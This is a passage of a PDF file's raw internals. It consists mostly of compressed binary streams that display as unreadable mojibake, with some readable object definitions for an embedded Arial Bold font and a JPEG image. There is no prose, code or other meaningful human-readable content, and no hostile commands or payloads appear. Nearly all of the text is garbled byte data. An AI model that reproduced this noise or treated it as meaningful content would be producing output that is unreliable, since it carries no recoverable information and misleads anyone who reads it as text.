�+��Hи�j[uQ��(l�8�K��)���:�-�)�K�W.,wϙ��J7�����'C�K/�`��S��ᵳK�A�*�7�8���@��^1�ͽm�'gH1���,�c��>�͂^�cc�bc'�I\� �	��^�^2	��v�U�'�i���.�I1Z Ɨ)��^&���]e���H%�:M���0r�/����5�Ɋ��ѩ;E؂{�,��1n]��q��rZ��*�ԫ!� �:>I�*��Ī�k�(��|�~�����ZĖ=����{[��_��s�$��ӟ�&�2܁��qe�������
���{Ի휗��():a�9���
x��.(:{��jEqR
�
�a;L=�6��^�ݢ�x����� �T�0o ~J�Xo`��*��׻32���U�*gV�U ]R���Ѓ� l���ƿ�֪uO,����מd���+�M�)��a�6{��o��
��T�Z� ڹ2�mi�<�O���w���x�ҥ�r�t�<\���}�я�4<S,�������Ή��/N2���B��"��o����J�5��]�=�!�;����FNj����$c�o,�
Ѽ�8�Xn\a���_3��
"}�+�F�D���m�1oyDX�G0�Pr`bF0���-&9���I�AЙLZ1=/�űPl�#�	~xoс7!a����� RL��
��	G�eY�OrL4�qZu��k�3�
n&�.*�n���2e�zo�}���U!L=D�ò�(|l��k��DuƪUݘ>r�G�[R�*��xɳ/�K��-���G�~'�
ÿƥ��Gt�z���k���S�ֳ���ȟ��_�y�������P�#
O�.G��ꫯ�����S��,�TGf�g�K�ſ�6?F2߃J���-��Q:�m�.��/�^�p�/��%@��bZB�j�O�Z`?�GtO�;��*��m����A܃�B4r�S���'#_�+�t�3-<�0z>Cꎢ[��;��5�)��
!�kj��Fa1��Ѵ=
mm�p��t��mT�{����t�t|��7>�8:)m�5k<k�p�p<�GA�@L`�O�����-�QHs��5y䓇pfą���2Gȼ!���m>�� ��"dW TBh�Ѕ�c3BQ�@��Q� ��E��A���MCȕ�!�<7A8�P�S%@�	��u��H�B���A}��>&��KjE(�J��a����4h#B�A�2��0���ʆvr�� �{*�s7���TL���oP��@-J(-���@_�A��_�=U��4�/��`��$Y�94�r��<r��5X@.�N�uߣ�"j&?�`=��l@[�9l��0Cں���ѵ#8����?i0����4|�(A�d��i��8
є�T
�#WT�PqT�[D�Z�<}Y=5�G�K��2z>�`�x>e0���`9���oq����2X��
�+.��db�
�'�i0���^���	�4�LxI���	�i0�?�o,���
�'��`��l�:�)6ұg��`{�\� ߑѨ�<J��a��Җq�=�3�J%-�i
�Q|�K���4�����('4x8��`'�g�O���ə��|��R
�<���1��
L�oc���L�i�!��9���ÜN�3�=_j0�G�_z�l̴k0�όcp2���)s�y	�'Q�d.�`�O�Jgkg��v�����?�
�3w0��+sH�i�+6���K�i�f�e�`�7ˎ;�
�v
������N���E],�R��g#䷱����n;�U���{QK�@��Wó�մ�w��BnZ9���w����Zh�ڑ��Nh�
5�p�u��#�R��r�rQ:��Z肺2����6��
�j�\Z����Ș(��8ڿ��e�2��PBs'ƏQm�S��z��&6^�Zm��n�����d�w��(�(w�^��,���j����'�t3{�E#ue��9�]�3xa�����v�G��IG4j�C�7�b�:�h-�A�6�S��&^��b6ΞQZr�_:�f��f\#�md|�R�̸@���q|�H���߮wA��X�5P���2��is��d�歍�������6�بW���YIk5</��4M�6ש|�-]LT�X���er^�dQf\[�dO���Q��M�:�*�RJija�5�z]�:Ig����bT��MZ+-Z�����F�j��2����1"�ߔ�^
C]Q���Y6:����5�m�t�t3�4�^�3���~�G����[���4��x�Fi�=�Lˌh�o��3(
�O��/޺J���c5ƈ|v31"o#~���m�f��:u,������ʹ�Z&?����Y�s���5��*UCvjOuT*Luu���)�#�9��I�¿�Qղuh3s���Ҧq��ِ6��{���vnD�,c����r���:��L#��59����JHc��s&�d2�c��-lV!�rh9�)��ڼ��d��z/h��Q��P�߱��}�����6�Qi���y���W�kv��t�;�?"��m���U����1�I�oU
Z���3Y���=���[�Ǫ���_��9V�K��j����cTR������P#{�fsF�G3��ިk�
��Uk�d&m���[D��8�GN�$P�Q3�2���̷�o�cڷ��Ծ�vK��v�7�)�T}:v�#t]�J/���hdә��d�,M��������.XX�ꥌ��R����X]��a�6�=l����0������ձ^�XK3^�/pb
����<�X�5wh�iCA3{�>/��j��4�v�}�j�f6��7s�o�;�ƹ�>D��F����X�<�S�c�0]���Rm�����1�ݣ��aR�ZWW�jy�Z��طy���V�H-kY�rJ!���UP�RE�[9�P�Z+Oe3��١yPo�qjU�,�t�q%Hfi�*�����-F���bh��լbm/��k�(F!�,�4��2-��WXꮪT��*�5�/��p<U����@�
ڟ��@ۥ�=J?���t�h�0іi��@�|���� ��zլ�6f��r6�(W�R�(�=O�ƪ֣�Y���9��͇�Q0�c�\�_!ĕ@9m.��0Q�El�Ռ{���h�ԅQ�3U�FC�JyP�sGyWŞ*-UcZϻ%��B-u|ڳ�q�����(d�6W�4]��*6�o���Ib1�U�F\=*!%LzU�G�S�b%jtn��2"��Y#j+#勴��6_(�O(]գ=W˓������5�-�Ύ�޵]-ragwWgwco[g�d���]�j[���#W��t�ni�,[,�Z�v���+�Z:j(�Ƶ�}�r{��&���km7ői�Y9��F��rUc{W�<�����i�^���!��k�=մ����c�Y��-�i[�����.k=B�N�T����nj�hY��������[��(���5�t�̒{ZZ䖕K[��[��v5Wnn�i�n�d}4��6���L.�nkl����<Š�,G�Yrڂ���N�����[�{h+����XnC�Qk��rowcs����r����w��1.u7�i�X.W,[C�3�Υmry[Skg{cO�\�������(W72���SfL��\����joV,���,�u��+��}��^�~�-�v�M�-��-�rs[OLI����,wu�AiTi���G�j�^����-]�X?��^(�y����i�&h�����澦�t�
�S��``kZadc([��u4��5S)����}���6Q��1ա�G�*���-=�o��:��m�bHk�^z[V���n�^�;�t�w66��^��*�GN'tϾ�.���:LZ����k<Ga�u�ժ�	��?�mKۀ���e���L4V��K{��ΎQ������ޮ���-�״�h�jink��ٽ<��2��U�*���Ģ�F������r��Vc>��e�՝0&ʚ��-�T��/|��qK�b�������X�X˻�3���nX� =M����a̔�+�Q@�;����Lid�gD��QP�{z:a�P�h�l�[	3Ҩj��v�Lmq�h�jM��5�Q��B��:�'�i�m��c�-]7J�Hq{ȩ�7m�[վ�[Dt������e4na�����M/���fjR#̄����:��\k\�(�ꂇ.�E�q����s�#]}�@Lk��t4��ꖦ�� � ��ml��TE�qi��1&�]2��Ⱥ.H�V����Z�2n�6�h7���jeX��B�w��m^�\]QR����X.��+�*�ɩՐNM����̫XT#C����:��D.(���Jˋ����ʪ��j��J.]P9���J��/**-�+���
�T���њ
�v�5UZ\M\U8�sJ��ԥ�%�5��h�@�,��)-\4��J�\TUYQ]�A���%U�K�����+��ŋ!!W�+�?�uU���b�VT�U�ΝW#ϫ�_T�s����9�ծ`P��J��E
�3�
h��UӨ[2��eA�SXSZQN�QXQ^S�teU�(����t�����2�������
����PV��f������̇��)��ʓ�	ja�/���k��%��[`���:r�����25���+������s��7�|\����jF��Z��j����/־�X��b����.�TK����?/��������/ؾ�`��6���m�%�w��h�������.�FϙT{u�(����T�f^V/���u�]:��<=�j�䕠O!�����B�ө�e#8=H=��h�J3hl5gK�f�b��ǗT2m��4���֎�}���Nv�^~6?�/���y���/�g��}�򚋞�]�-��xԜ2��S��ز�eL?w�;�Qc4�џ�$�Dc�G��k�I�7�`$�?����w�q{�N�
̨��K�d*J@^�g��(�t	�
�)�A<e;!pH�-�� �'��c�C����a�weox�{vL9��d�"���R���Yj�9��z�Xtf{<��	� �U@���A�AO� D p��/��4d+pr�!T>�ބ�诂����-��~:`0��ʰ⸟�
��
�Bx��:�B�#P�"�#���W*0r?A�!�d�y���$ƛ�lQ�J��ݍ*!���4{��A�~-W֟1���l�h͖��6 zB�e'<1K+h�mQ1��������
H��J��5s-\J�)]q"�Mө^�5�B�TlR��/��sѰ��r\ʆ���8V��ߪ��ן6)F\ȹXgAA���؟�s
c����ҷ�_��>�m�D�Z�V��v�3���Hj���f��Yl�����臆
�\1�b�l���!.�Y��{ָ���?�{�0w'�m�������5�h���
�!�6���X���ӳQ��KCY�x=@��oh+��V���0S[��� }��%[�N&w-��֠�vL�*�:Ā��!�͹�1�a`%�\π�J)s�;�X5׀ٚ���9�6�w ֕�y��Ć�>�]� �G�Xuj1�N�.A��%�G{C^HSA�"L^'�(��[�:��MH��Z���/5�%��EA~C�������9L^DY��;2H� �!��qH7C<qć�}�z��D@����:X�b S�)�����y�C��8���Q4����F^r��W!�Zk��h�/ȳT��ArM�x��JI��4�ۯ��������>K~F�D��t���{��^�ah��Ho��Q`$�Z|*�D�i��\���ge��N�+�\%E�PvqY)YY�89Eΐs�]r�Dn����%��d�A���l��sC�0&:.�6�s'���� Oi��4���FT�@� �����k!\�z7��^}ր6��.���.��]��]�����b4F`4F�h��h��A�m��Q	��Q	��0*�0*F%`TF%�PC0���
`(C0��Y��Y#0�#0�F`dFÐC0d�!�2`�C0d�!�`HC	0$������8'�`�`'�`���`��d�>�X�K�rP��1�rP��1@9�P��1@9�
��1��ج����(�ܣ�{��e����#!�1�`�#!��`��N��	;c'��	;c'`�d;��A��}��oO
��Ճ�%�D�G��x:���>_�v��:t#��E�,^��,��X܋�z��͵Ā
��p�N; P'�9"�ބ����L�mb��C�+>'
{�?���*t;t{u�鄽�:"�ӣ�Z����_@#�|� �=;�AT��/&�7'��&ὓ��p����<�t2�%@8�U����r���A3�v��Xo��w?�F�ğC�a�!�BȆ�!���M������g!�B�A�i(&!��!b��^� �'5
���fA4؟Z��ԥ�>�R�W����=	��~�I(~Z����hO�7Q}�d�.�O}�[`������5Z\
�qU�w1T[��Q�?�OkO��R�t"�E'!NѰ�՞���� ���Ak�Q*�x�C�<�� �!\�c��=��9���xO�!z3��B��ٌ�@�o�����O�C4��ݕ�� ��Sx�N�ޖ1���[��-��~�2��Q�
�,oo�Io��Ro���[�B�́�
ﳔLT�kɓ���`)�"��;7e��X�]�U���򳔿h��nnƳ�([�=�;)e����AlW&�������q��$N�ѩw�%�Uo��z�N�����o�;u�t<}��}�K��`=A��PWFʪ����&T�T��N�ƅ����98�(Ce5sB�e�b�*�(�������:�
�̓�����rB!�xk��ؽ�ֺ:�Y���w̶�()�ȣA{^��	�X0!tOYum艄�P6"	ue�T�W��
+��j��.b+���|WQT;ɪ�4[�J�T��A2��d�s���:����-���V�Ǵ޾�rq�>YfuR:��OAc��n�>���J�q-��k�dF�D֐�U2��
l���!/f��2/TIѪL�2����u�jg�Hg�	����	�)}�^,nI*nH*n��ڶ��ڰT����r��7,mj�qcK�/��(�.�H�7�ŋ�H��$�C/���{Qi)꟢L)Nj,��ϫ-�זѾj�.�Xm����_p��Z�O�*�}о�|�Wq����}z4��q*�d�!�W7'F�Mzh�ϵ.���d
ԅ�IsB�(� ���:�EVȶiE�u�|q���H�l{�4��Ah���ԅe!_�e�TTBJ��笇~X����{Y��ؚ�碟ދ}���z�/ЃPYhRuYh�B�D����:ț<��q,o��P<9
� ���(��`���D�S�S$t��;�I��<|=�Ǒ5��l�L�LH���ށ̩j�U�{|��OI�*�S�X�g�=e{�ܝ);3v���_���]Ԕ�g��Po�g���!��rB��'��wR ��`��~�3��[.0�Gk��5�;2!j~��̄�{�Z���
��ڈ�}\��Ѧ(?AK�o7wk�
endstream
endobj
38 0 obj
20936
endobj
39 0 obj
<<
/Filter /FlateDecode
/Length 40 0 R
>>
stream
x���~003��
endstream
endobj
40 0 obj
15
endobj
41 0 obj
<<
/Type /FontDescriptor
/Ascent 905
/Descent -211
/Flags 96
/FontBBox [-627 -376 2000 1055]
/FontName /HPDFAE+Arial-BoldMTBold
/ItalicAngle 0
/StemV 150
/CapHeight 715
/FontFile2 37 0 R
/CIDSet 39 0 R
>>
endobj
42 0 obj
<<
/Filter /FlateDecode
/Length 43 0 R
>>
stream
x�]�ˊ�@E���^N��{l0�0Ày' u�A,	Y^��#�)O ��Juo�J����ص�)��}<�d��K�\����rn��u&�qR��R
�bN>ݯ�\�]ӛ���1�]��n�>���O��6&��l��I�������m��efS&I3?�K5|�.b������z���>�q�-zb��:TQƪ;�j_�����밒.�w�)I����s����`��-T��B��	Z�WC�4��A�L���2���\C5�H�%�m!�TK�#�K&[B�,�T�ş�B�]CԳ���?�@["Qmw���g�`����Nh$��V��CK�ȕ�)1?����8r�3<8�P�_���zN緁���<��q���^���瘟:r�3�)�*c~��3?�2��@w���g��z�����tɫ?=�_���_@�ǟ�z��^��u~�h�Q��-��}��q�W9A�/��v���a�Z~p��
endstream
endobj
43 0 obj
480
endobj
44 0 obj
<<
/Type /Font
/BaseFont /HPDFAE+Arial-BoldMTBold
/Subtype /CIDFontType2
/CIDSystemInfo <</Registry (Adobe) /Ordering (Identity) /Supplement 0>>
/CIDToGIDMap /Identity
/FontDescriptor 41 0 R
/W [ 0 [750 778 278 474 604 702 556 615 611 611 556 635 278 719 722 556
556 556 556 556 556 556 610 719 556 556 833 611 556 500 615 417
556 635 1019 615 583 552 490 709 604 740 844 278 333 584 333 333
333 875 722 667 556 567 615 615 854 854 833 618 556] ]
>>
endobj
45 0 obj
<<
/Type /Font
/BaseFont /HPDFAE+Arial-BoldMTBold
/Subtype /Type0
/DescendantFonts [44 0 R]
/Encoding /Identity-H
/ToUnicode 42 0 R
>>
endobj
46 0 obj
<<
/Type /XObject
/Subtype /Image
/Width 220
/Height 205
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 47 0 R
>>
stream
���ExifII*��Duckyd��Adobed�����������	
!1A"	Qaq��2#����3$%��BRD'brCc5&(!1AQ"a2q�#����BR��br�3S$�C�c4%��s�DғT5&��?��(�������F]у�F.�]0�0at`��"�5@�#�@CQ�z� �׭<0��mϰ0�^���_Ш<�ß2e�`O%� �]HWQ���z��,�;T��L���t��Eb��d�R��W��N��$�u���h�-�垠kB�u|�����k��x�i�H�[�6B�Fq"߉��I��c���w�C�g�+I�ņ1��m�ک�a�r��q��O��1�e#U�]З ����:E
��RK67�wf��t���%P�]DDL:��?���G��54@��\��9�ǦAW~~�5<Joh��%-=?N��ٺf���x�:#H:�y7k���/Nq9�s$L�b� �l/�'�U:m@��٢	Z�
L(+�á�4��iZ燦=uܲf��Ec�.��0]V��u�!�f��]��69��2G:f)�][%E{��FH��_Jc�K_�⎡���ҊT���z�	�у�F.�]0�0at`��у�FP=����`��у�F.�]!��\��Ӥ]�O��c˙�c�VM�cc<��z�41f��;p�ø$�	����Esv�Gb5_Hʱ�d�2jĞ��@�/"F��h��"�y�'�W!=�ä@r&=��ϖF[.�q�V�(UPJc��l��)BF�#�ڂ�L�7�v�j�V�[��ۖ�p�heZVX�V@ϫZf	z0�9��弹��"���ɩA���ӥ>��NqO��jy�_c��%b���<�q�f��tCjO3�kjt�͢�P���J1��wʬ�H�Γ�C�A��խ��wqI	�*sr�oB	j���������Ih\��|�&���ˮ>�:A�
�v�v����N(TQl�)��8]uT�I�1��HP�Dz�!If
lԒƔ�bH(^����e44��#Ǜ��ts��d������8�j�f���Y�#�^䶌��xxxE��=Ɍ ��	Ns�\<��ۂ����r��j4Ij�R�$�H����G@MY���yP��J�^��A���y)v�i��:��zn�>���/�Zj=��\>(UG�2��C�w�DyV<�/R|k�\c�I=1w[0at`��у�F.�]0�0at`��у@���:0b�0�0at`��у�(>�ַf�t'<.1�GM@5�OAAP��oJ�u_�	
3�R�^z��"�X�}�z���`d&~�t<F��P42J��ݽ�'�fs�e���t��0 �5��!��6�s�YwX�(�+,���)+@�2�c`Q��
�K�7Ζ���'�)B<�F#� Wm0��:q�(�,�c�𻇰j���~�6��ڥԓu`�v��rg(U�b�O�	��%���Z]���yD�Z�&�$��A��!�S��H�P
xtj�� "y
#
��]EG�q4�3OT/�Rq��,g`��R�>2�zt3ۄ��.�P�3��ك4�q:�(b����履��ʦR^嚚�D�D
zW�M]Z��z�,�[y���R�~g�V��#�C�U�a�?��CJ�l�5X�ۧ���dj���h���f�u�'5��%EI���(��p��[�w��m_�����&R��p��T����aX�m��ܲ�lM>�yW?�q63��X��e~���B��p�r�)ҎT<���`�81hWS3��X�9H�{��{�n[�6�ov��=��D��ҋ�U%ځAcB@:�CP�m�5S��lnq�p��cg�Ri�x�j��6���g�g��eLKQ����]W�^F�2�rݲAr��R�K�ȶ�aU��pz��
 @WR�iOBV2�a�~��S~.����e��=Z�㩩A���t`��у�F.�]0�0at`��у<�>x;$�o��\����}%+�q{	8�8��|�A��J.�;l��R�T�}�1��y�~�jb�^jq\D�1I��X��bh�c�l���w��r븇�k��Lj܇���\^��ۧ��vø�aBG��`��p�����_��H���*T����/xr������ہ�:�����=
r���X�r?��$758��s~<
@���&��V5��[����k�xN��� _�q�t��zth85a�[��LO�^0����&ݦ�����ףA�����}��/5x�s��.f����Y�!@{���z���h�qL�uE�� ��ƕ�J���?�۸�ON
򻌶�oUxj�T��L��7:�Eғ�[TU3Vi���vD
*�~/�X�ߣo3G
�P��"4�(KzZ�
D�@zԌp�I+.��T��M����<}��z�NRb����hy�.�̉\f����Sy6JJa(���h,��)2꘼�D(��!f���Y5B�Wi�h��BI�D$�
%�#2UQ���5��G�K��$�s9
�:���o_���m��'��X&Y����$�dj�.��*�͉v�Eٜ8iP��	łQȤU䔇#t�c�X�໶������1���}q����
�+�"WB�jڵI=�\�0R����L�U�k�#����p�X9��6��w�sp��y���0ܤc�R싄a�J<F�ݳ�ɢyW�9��L�. �(�Y7�������Pw)�%��8���8�͐}uô0��K��t�h𯇘���~Z��1>bͼ���%�x�5�'2C;�c�f�p/r�t�B^H�)��d�M�z*H-�6� � �k��f�ے����}�U[H��(��s�MMdP�s�E������+�Xt ���.^L����^=�14�+65�Ew+BH3|f���=��3MU�&٬_! )#ج**���_�2	6^--����r�W�牨O�Yc�uez�JQ=+�����UD9<��ק�đ0��}�������'رjիVLc�I3fͪdhգ6͎F�Z�!�H�!Hء�s47w�4���!-����V.�֤ք�����ƕ��'��~� P8s7m1w�~�be
_)�� ��ˬ{%g�Ʊ
Sԣ�H��������O�.S��LGw2�0i��j�Н�`!���B�h��9�T��[g��O,�E���Er�k� Z���١Ť��}�DO���3B���D@uu�[{JMRX>���la�
�ʴ��~�?�݌������I̜ >�7��� ���p=%I�2��q�x�E�1��u���$/2�@�O֍���>b��N���U�/��?%H�7�����~�n@�6
�L�Kpj�=�o�d6����Gg�q�����W��5>�?n$����7�����O�O_��!�/W��t?�KxS����n"��,.`�������PC��פҟ���_��:��?���o�n�%/0p���%d��~{#
ѥ?y?Ŀ׃S�g��~�m�����f(�����@�W���K�x5?�>>�m�JN^���N'T�?=���_���?t��A†ob��r�on/.q`�5�"��}4
�
��(C�Ղ��M`��_����@�b�������K�_B��L����}W�����ݯ}4�ѠV���q����v��
��H.��Νc*J��r��r��ԃ2�]مS��c�A�^3�2���`\0B���u�!
!�BХ)4�t���Eq�x��l�p@��tCA�M;wDM;K���F2�\t&�p&
�?����(��i���]�
#��.=�"d�N!�MD�ƒA5�]�a���פ��g��ǎ�~w`�:;��\eJt����N�M�pi��<`�~<���ژ���A�O�F��pio2���ʤ��8M˝t"�ը�uONV�k�'^�Q8
��Ap2���AQ@!�m����G�;s���Q�jr�
Ҥ�QZ�y��dN��
��4������/y���s*�?�S�-\��3V[ �!�~>�t���]ˤLW���nw[kx�ײ�6���.�v�Y�b?Hͨ���ۚ�IML�̝T���#Gp���6��s����Q��o�/y5�%j7�L��$�.�GŘ:�Z@���O,�t$�����7!�k^F�^l���#2����
ΪU�!�Al�U\T������]�[��'R��[L�R@$W:�:`ìg��z�����d[1.���R�cx��)�3T�3�yqY(�H�I5M��PM2�B �6�!��ٝ���n|f�b𙾛�Z�T�H�\ʆ�ڍ�c՝����?���@h_�:e���'�ʘ�>J�Ϯ��6+�x��1�~e��Q(ڋ��\�k���*�8���k��m�gj��G,����-�7�K`���wI{0q&��B���HQuR��r��rk�����gm/��xR�3�����,y3[�%lp�pC:U���V����ӿ�4*���f��y+��5:�U�%��(30������8��N5�My3jXB�-�4�m@΅H�b�2O!,i}eO����2�s�%�9��#���8,��o2��1�Y�B�Jc�/�NN��iCI��j�D�0��o6�h��M�ղ��l�����MWԬG\�C�a\�0� M?�H?V,���ex	7l�8�b�q�k�u�}�I?�R�7ĩ$�,��#ͯ��tfl���%����{G,v�C�gu7sX�Yĩ��4Ȱ��uV��Pce�����S�L�`�_�J�
�Rk���x�c���ǫ?AY���ڭ��<+<Z�bM�XWN��r(v�{�^8!M:����D���F�j�$뤏�2*>ě���BK�h��)�κ�U�����g�O��ʕ��L���EH��9N>��@������(dІ���Nx�PD�:h�9�%c-e?�;���o���m�9�M
��.�@��
Ū����4Z1�I�W��-���#C) J�>�]s�13�� ��U)��馩Vi	����&r*հ���)�D׾�y����]7(b�jPi�� �A5�k���ĭ�:�-,��m3����*�F����p��d;V��)@�,��H�P�@7���VЙ?�2�Z��~��f���?64����dM�ZDG��n��r9��)��j��2�H`0WI��cC�&��:.3�z��_\�W����qJc�N�Q��p�+M�a�Z��:Zi��٥qyi��k�N�]t�X���O���G�~����Ū�K���u��4===F��L����XD5�-�o��j:k����.��L��	��j�CB�`�_]����>��6��I���
��z�DD��2騖&<��鮍�]5�8�g�J������t;8���F10�����>�l�|�Hǣ�Z{oe�K�x}�����<~�Ƿo�om:*|�i�@���:Le��`��у�,9��P��p
@4��Js�CW���?g��X�۴����:�|��}~:u�̭�׾)�?0����
B��ɏ@2�k_Ո�/:��9ȹ9���˶B�2�M��&ien�a[s�g�޲��
�\|��5he�Ţ��:\�iyqk9?!���o�c�_2���7dEV�$r�Aec�'P����xv�Ȭl�1�Q�#蠩cZH,	��n�/�<ۍ��ȉ�L�������j<��fHN��i�O�⫕

�yՏl��^�S,q�y������w(�l����,����y	oU%��fPLF[�W��$�M��̝ؤ#�hJ�xd1�c<ǩ5d�S2��+%���]��>���5�Uo��Ϣ.��#��I��������.E�,�KI��'m�m�KA�oHl��H��J0m9�lv9n�.���~�	-���5�G$�\����]���x��$�����jcs��W�Uۭ|�`�Mn���������#x�
��C��������2�uxc
%��"�t����:�JHZ���Xn6���
�*~Qb���	�B�h2��9�-�����q㇜��&d�vx�R���{��A�����:��!f�tt��`��NU�$D����~��ov��݂)`�m	�VY��ⱹ]:�P�
)RjF,����k�;�e����~�S��|����b��Ad�z)��М�����[lN+	F�d�\}�+d��,mx�Q�j8p��ER��L �A���ll�vNB�Z��$���uk� Ā�Tؒ.�{~t��|�X�*�~1���C�J$�9����_.w�Pyw"�gyR�|iU�A�y�^*��$Q�봚��G�Wj"e���\/x�onn%�Ux�%�œY*�J��'��-���o�ٷe=(�I�t��ē`_���U��rU2.&�}��/�kT�͢�ʺ\��5����g3�Y�5]��
��ۡ�"����N�s�.�cosck�,�@d�3V�SG�$�j�Ô1msB������Qi�����T�o��2)��\��'��\n���y.ugMb��X�V�P�*�U����b�%:�4��c�A|g#"�-Ǐ%�a��#��C�ЮD�� l�����I�qMl"�����G��I5%OAE��F	j��q�7R7�?d�q�ld�̏�+̵����+.����]�6���ׅshUˣ9t��*�v۽�ywx,���d����=��qHĹoā�
e�T�-F�$��M��"�ͿX۝�%�gVt��"�B}U��,�l�������P�+1�,��{�! �M�d�Tp�}�%fmeX�	�f
]6�D�M%�R[u?�;47����,�\2E5�	�PR�n��%ʌː4ZX]m��]�Y�-��tF�gBu��C����X/���	��l�
0,���»C�|� jl�Y4�(�#��8�#��S� %-w������^�v�^2��
sw4�;���WQ��O�PW�?:���m��Om~�%$�pߛƾ8���`�����j��F�r"��MB���.��#�i߸u�&w])"�ZR@@9�u5x��=��FT��ΙW����b�q)����@MGq@A7���mGӥ.�J�S�P�����ϡk��3�q0��4����^�[�5
��B>�1����2h.�����h~'N�ѧ�pT�i�J<N�pat`��?`��F.�]0�0c��ja.���{�����@��Zں�I�L�_��^�TYhI��|0
r���1��<I�+ϲ�!�ʤ��Wfy�W�(��Z�h?�̓Dιc0�	�:I��ۏj�ޣ���k�	B��g��(���B��55SҀ`1�<�7^̆�x|�J�U:T�����<3�`
��Q��fΡ+˞i]�KZkXn�1�v
�.U�E��kX��6d{'���6l���s�w�����+#�>�Z��ru��N��;2�%�*�h�	թLb�d�;��sf�����N�b�W�{��#O�e��~+�r:m.�������QV�1�颒
(�	�!\ƹȒm�
�d'݋aP�$�e
7u���߃� I_Q��Um�����E&��J�P�՚A�&E����SQ1�j����	���y�(��2l�.�{�ע���K7*HSk��]'^*������,rΐAa2EU@)Nx���kr=�Mqip��A#	_0Ԓ@�`k�T��۷m�\�hB�Ȣ���4�59R��/�9V�X�r�#�P�Z�l}D��
�L���e8���Z���7�`E��<�D�*.Z���*��T�|;�l{M��]�q7�Lʢ����\�{�K(�V�}Ne��z�6��ꌋXh!,�I5�;���Z��P����`r��J�m��b��6q���y��3�X[�3I��jˡ �@^��W�"�Y�l)�l-�t��M��XZ�n�=Ж����$�W:bc"���R�D���ٿ�]��^ɉ�j7��:H4"���8dq��.x�ې92u�Gyz���Y�F,�ېY驰0��!࣡��mNЬ�6n�7i��k.~���7���8���)���Њ:%"Y��ɒ�Z'��j4�57�e��7v�z�������\���?�^�i7�Va�=f��Tdž��;%��gF�3X�O<��B�n���rB,v�N��h?�w1Cp��
�����^��,�h!�eC�l�i��{kW�p�ůX�����)֝~��B0߱�XS=�H�!�\���bf�jU�L��\��—T�D��1V�V�c��j(1p�b�"����j_o���f�-sim{��%Q�`*���uj�Hb�]�f9~��%���JV�2�G����{��<E����b+#��mYnb�4�Z�K,�!�J�N�etm8���³���e��l\i
�ɉ�(kgr��6{���a��ؖHa�DU�*A{�d�IL��mu,w�۶�=����MFB��̍ P?{�T���x����y8�z�6
�9J��1L�f���Nc�ŷ��IO���C�&���D�ɲE�r�;�B�Wq����lg�N��w]�%��J�I�i�����!���*h^�9D
�'���g`jF�B��� e�e�3��b�2CV��C���tE�Z��a�T��	�	�*�
�̑�MV&I',��,��"V[�[�\����o�sm{ܚ�@�@�AP�Z���I�l���Q&JQ�(�_
�M|�����>��+˘̑Gl��]W�t1�ɘͪ��ᑲ���0���'%����Q+�sY�;�޽�����54��7���t�G"3�H��M����[��l'�PGua��)�+�Z�
�@p�VrO!x%9]���AqN�d�X�ץU�v5�N^3U���A'*5l*&Ȯd�_e�S��o7���Kͦ�Or�ݴd��7pp$(y2�#]MY@�;�C�'-,�WƋW�ITd(�@�*tʕ�&���>�s��GOצR�~�`Q=�R�F����z���&�Bi������|gp}��۵��C!�P?+
aK))�qi훭��n.ld��f��zI�PN;�DDGf�/r���Q�tд,]k��O�Î�ٯ�~ӧ��~���у�F.�]1h`���z�(�Z�~�,W�'�(�[�N�_�`�|1a��k���>��r��ed��L����!\(W'����?)�;�_�����������ޤ��B�n�i��c�!�gQ�b��u�yr�����f�LP����,[v˦-j�Iپ�$ࢹ�E&�sr��D�Ω�R�u{o�խ����,��Bҭ@�d�a]"��P�P�9�̊���u=��>��>d��g�b��S��T}��&u�%�p�
�%���s��Z>g���PY=_�WRTM�lr~�la�(��!Tx�ɜ���]�ߐ��[��NnO�Y�:}I$��A�3-juj�ݟm�7m�k7 QY��H�c�@��Uh¤�CC�F�B��r�Q�X��7�r$�N��$��R���v�$���WMW*���Z'�ԛ#��{���}���H#�$�D�)��>��u�I�̒Y۩Ľ!�[I/�!���$�����cCAQ�=X�3p�WI֥ ͐�1�|1i�c%��z�S˥r�[K��N���x�7�]��TIU�/��[j�ڼ�X�6����eR�#t)T��FY	/!1�W7;���kY�}`�??U+�Xr��c�R�t�i|�a����D&�JY0���z�F�}{"���]C'
�AC&q(H��`QR�����7
��[t���O�u�7u����@vj1��S�=���2�ۏ�.����)O�,��N��S�ܡ��fl1RWF��.2���%]���Zuu�O�B@Ť�@��l��Fj@�v��$����
����o�{DJ
=�=�3�U�^0sj2QG>�M�lh��	}v�@���kJ�KT�Jt�`ʙ�$���po��|_I�N�QB�.Ґ���
I�������.Q�SRv����rOQv���dO���𭓅�? �۵���ݭ$���"��"���`^-H�t�3n���8���m-#�	:���
xt�\��]o<��D��%�7��j��YZ�����P���e2�]I�z��"��Ԛ�j�?)6}���0�I
o�DV9ŻNJ�3
*�!Ԭ^E�@��C��1���
2�3t��6x�17	9�g�DdV�sT��QUi`�X����S�kO�*ᱏ�c�7J?XSH��y�)���s}��o��[[^]Cf_L�-��!��},d�1ҤP-S�l��ܠ��=��NR��˦�O�Ҹe��aP�G
7�bkEU�1T���-Z�'�\������J*)�?:2Ύ���5!](��e���U���M{y��~HI�$���A��ܨ
c*��BK%xG,��VD��Ӳ&zWȚ�6����|���>���v��O(VX���V#�R�����eJ��G
h�Z��J�⊘�
��������Ͳ����M�gR�Ĩ�Ǯy1���Ou��4-!�l��X��h�AO6sEʔ��`넦��ĖZ�w����q+	/j�Mʲ�ꕞbWs�f��hxUEVNNF�����	T]�r��mn5���o�+ގX��1ꚴ�W�
���Ž��웏�m��x��Ȥ��_��ʘ�܃����X2-�V�ʼQ��<��|�ɳ�"���z�Y�UNIIYO|'�Iw(�*MU�Z�-���qm���Yn�aQeeX���5�J�J�t��,ڀ>�h�����I$�MdPY�$�ZQ�]Z�)��v����H�nQ��r��j�˳n F�F��Ϣ�r��F]��^E���Q*��h���:�L!�����)�$Y-g���G(�vX��H�t�T��:��Pi��kqj�qє�'Q��k�j:��-�
X�k�	\'_���KC��|s|�IB
/�{�[v@�5aW���,�����T��5��r�
۳k��-�,�����2+zi��idEP'4�*�K/%��$0���r�J�P
Gj5RI%��[I�
��{��.y��[&["�
���n�	Z��)����-�'1�e2V�Β`�i�_
ƺe��م8O/��ߞF��tQ�D��fmr�*�T@0%K
4+
��bA���w�+���R�I�QG�y�c��?���2��iW�[�}
`h���b�E�� ��f&Q��r��DDv������l;����w��yL`��k�x�%hT��U �k�[���l���!�A�V�dE4 ֹ���m?�j��P�5
u��
